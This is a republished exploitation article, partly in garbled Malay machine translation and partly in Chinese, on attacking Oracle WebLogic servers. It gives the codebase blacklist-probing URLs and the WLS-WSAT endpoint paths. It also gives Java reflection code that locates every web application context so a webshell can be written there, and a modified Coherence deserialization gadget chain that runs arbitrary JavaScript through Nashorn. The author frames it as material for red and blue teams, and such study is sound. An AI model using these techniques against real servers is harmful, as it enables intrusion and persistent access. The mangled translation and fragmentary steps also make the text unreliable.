Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Apakah teknik serangan weblogik?

Apakah teknik serangan weblogik?

PHPz
PHPzke hadapan
2023-05-16 11:16:061566semak imbas

Pengenalan

Pelayan weblogik dicirikan oleh seni binanya yang besar dan kompleks, yang secara amnya sukar untuk dipertahankan oleh pasukan biru dan kebanyakannya digunakan pada rangkaian luaran. Selain itu, kos serangan weblogic adalah agak rendah Selagi terdapat kelemahan, anda secara amnya boleh mendapatkan kebenaran root pelayan sasaran. Semasa latihan serangan dan pertahanan, ia difokuskan oleh semua pasukan penyerang dan pertahanan utama.

Sudah tentu, terdapat lebih kurang masalah dengan pelbagai program eksploit yang kini tersedia di Internet, termasuk alat saya sendiri. Jadi baru-baru ini, atas permintaan rakan, saya menyusun beberapa kaedah serangan dan kegunaan "sempurna". Pasukan merah boleh menggunakannya untuk menambah baik alatan mereka sendiri dan pasukan biru boleh menggunakannya untuk menulis laporan kebolehkesanan.

1. Kesan sama ada terdapat kelemahan dalam weblogik

Antara maklumat yang tersedia pada masa ini di Internet, tidak ada cara yang lebih baik untuk menentukan sama ada terdapat kelemahan dalam weblogik. Biasanya, pendekatan pelbagai alat adalah menggunakan exp sekali Jika ia berjaya, secara semula jadi akan ada kelemahan Jika ia gagal, tidak akan ada kelemahan. Atau, mengesannya melalui dnslog. Kedua-dua kaedah ini dihadkan oleh pelbagai faktor, menyebabkan kadar positif palsu dan positif palsu yang tinggi. Ia juga mungkin untuk mencetuskan peraturan peranti keselamatan seperti honeypots dan waf.

Sudah tentu, di sini saya akan memperkenalkan cara yang lebih mudah untuk menyemak sama ada terdapat kelemahan, iaitu menggunakan fungsi CODEBASE T3 RMI untuk menyemak senarai hitam weblogic.

pangkalan kod: Ringkasnya, pangkalan kod ialah laluan untuk memuatkan kelas dari jauh. Apabila pengirim objek mensirikan objek, maklumat asas kod dilampirkan pada aliran bersiri. Maklumat ini memberitahu penerima tempat untuk mencari kod boleh laku untuk objek tersebut.

Maka bolehkah kita menyimpangkan pemikiran kita, bagaimana jika kelas ini adalah kelas weblogic senarai hitam? ? Dan pangkalan kod weblogic menggunakan protokol http untuk menghantar kelas.

Kaedah penggunaan adalah seperti berikut. Gunakan penyemak imbas anda dan sahkan bahawa pihak lain adalah pelayan weblogik. >

xmldecoder blacklist

http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class

1.1 T3 codebase analysis

http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.classKod di

didaftarkan untuk memproses codebase code, iaitu laluan permintaan ialah kelas
if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}

Mari kita lihat kod pemprosesan weblogic.servlet.ClasspathServlet Ia sangat mudah, cuma baca nama kelas dan tuliskannya ke dalam respons http.

weblogic.rjvm.InternalWebAppListener#contextInitialized

Sudah tentu, adakah terdapat juga kelemahan membaca fail sewenang-wenangnya? Jawapannya ya, tetapi terdapat senarai hitam yang melarang fail dengan akhiran tertentu dibaca. Senarai senarai hitam adalah seperti berikut

Apakah teknik serangan weblogik?

Secara teorinya, anda juga boleh menggunakan CODEBASE untuk membaca kelas pengguna dan memuat turunnya secara setempat untuk analisis kod. Premisnya ialah anda perlu tahu apa nama kelas pengguna. Sudah tentu, terdapat senarai hitam juga. banyak, jadi saya tidak akan bercakap mengenainya di sini Punca dan analisis kelemahan.

URL pengesanan kerentananApakah teknik serangan weblogik?

/CoordinatorPortType

RegistrationPortTypeRPCApakah teknik serangan weblogik?

PesertaPortType

🎜PortType

🎜PortType pe11

RegistrationPortTypeRPC11

ParticipantPortType11

RegistrationRequesterPortType11

Saya rasa kesukaran untuk mengeksploitasi kerentanan ini

Terdapat hanya kod gema di Internet, tetapi tiada kod penggunaan, seperti kuda ingatan

2 Jika anda menulis kuda, anda mungkin menghadapi masalah laluan. Laluan wenlogic adalah rawak, dan penyelesaian yang didedahkan pada masa ini di Internet adalah letupan.

3. Bagaimana untuk mencari semua Konteks?

Mari kita selesaikan satu persatu, mengambil exp daripada weblogic 10. .Panggil fungsi weblogic.utils.Hex.fromHexString untuk menukar fail kelas yang dikodkan hex ke dalam format binari

2. Panggil kaedah defineClass org.mozilla.classfile.DefiningClassLoader untuk memuatkan fail kelas di atas ke dalam mesin maya Medium

3. Panggil kaedah newInstance untuk menjana contoh kelas yang ditambahkan pada JVM di atas

4. Panggil kaedah contoh untuk menyelesaikan serangan

Malah, anda tahu muatan Selepas melihat sekilas, anda akan tahu cara menulis xmldecoder. t pergi ke butiran di sini

Semua soalan di atas sebenarnya boleh disimpulkan kepada satu soalan, iaitu, bagaimana untuk mencari konteks semua aplikasi web di bawah weblogic?

Di sini saya mendedahkan kaedah, yang telah diuji di bawah weblogic 10/12 dan tidak terjejas oleh protokol Dalam erti kata lain, selagi anda boleh melaksanakan kod dalam weblogic, saya boleh mendapatkan semua weblogic webcontext. . Kodnya adalah seperti berikut

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<webappservletcontext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {

Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;</webappservletcontext>

2.1 获取随机路径

利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置,然后写入webshell。

我的代码如下

List<webappservletcontext> contexts = findAllContext();
Iterator<webappservletcontext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

returnnew ByteArrayInputStream((sb.toString()).getBytes());</webappservletcontext></webappservletcontext>

截图如下

Apakah teknik serangan weblogik?

2.2 weblogic 12.x payload

weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。

从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。

注意,不支持1.5以及1.5以下的JVM

在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意

只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图

Apakah teknik serangan weblogik?

在nashorn中,默认最后一个变量作为调用本次js的返回值

三、weblogic T3反序列化

在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework

漏洞探测的话,参考前面的黑名单下载方式

当然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。

但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。

而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下

Apakah teknik serangan weblogik?image-20210329124530132

当然,corherence gadget处需要修改成如下

private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)

});
}

Atas ialah kandungan terperinci Apakah teknik serangan weblogik?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam